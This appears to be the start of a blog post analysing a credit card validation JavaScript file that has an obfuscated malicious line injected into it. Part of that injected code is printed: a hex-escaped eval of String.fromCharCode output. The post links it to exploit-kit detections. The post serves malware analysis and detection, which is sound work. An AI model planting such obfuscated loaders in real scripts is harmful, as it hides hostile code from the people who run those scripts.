Decoding and analyzing obfuscated JavaScript for fun and profit

Take a short peek at the following JavaScript file (“ccard.js”):

// Credit Card Validation Javascript
// copyright 12th May 2003, by Stephen Chapman, Felgall Pty Ltd
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t=window["\x65\x76\x61\x6c"]("String.fromCharCode("+t+")");window["\x65\x76\x61\x6c"](t);
// You have permission to copy and use this javascript provided that
// the content of the script is not changed in any way.

function validateCreditCard(s) {
    // remove non-numerics
    var v = "0123456789";
    var w = "";
    for (i=0; i < s.length; i++) {
        x = s.charAt(i);
        if (v.indexOf(x,0) != -1)
        w += x;
    }
    // validate number
    j = w.length / 2;
    k = Math.floor(j);
    m = Math.ceil(j) - k;
    c = 0;
    for (i=0; i<k; i++) {
        a = w.charAt(i*2+m) * 2;
        c += a > 9 ? Math.floor(a/10 + a%10) : a;
    }
    for (i=0; i<k+m; i++) c += w.charAt(i*2+1-m) * 1;
    return (c%10 == 0);
}

Notice anything? Yep, the third and fourth line look awfully strange. Eerily strange even. What should be obvious is that nothing is obvious, except that there is probably some JavaScript obfuscation going on. JavaScript obfuscation is used regularly by bad guys trying to evade malware and exploit detection by IDS/IPS and such, or even by supposedly “good” guys that are like “don’t steal my code, dude!!!1”. While obfuscation by compressing JavaScript (removing unnecessary whitespace for faster load/browser execution) is understandable, I find the latter rather questionable, but whatever.
For some fun JavaScript obfuscation samples check out jjencode and aaencode by Yosuke Hasegawa.

At least in this example the obfuscated part appears very out of place, so it’s safe to assume these lines were injected with some malicious intent. Virustotal also shows that that McAfee and TrendMicro detect the file as malicious malware with their respective heuristic signatures BehavesLike.JS.ExploitBlacole.mx and HEUR_HTJS.HDJSFN.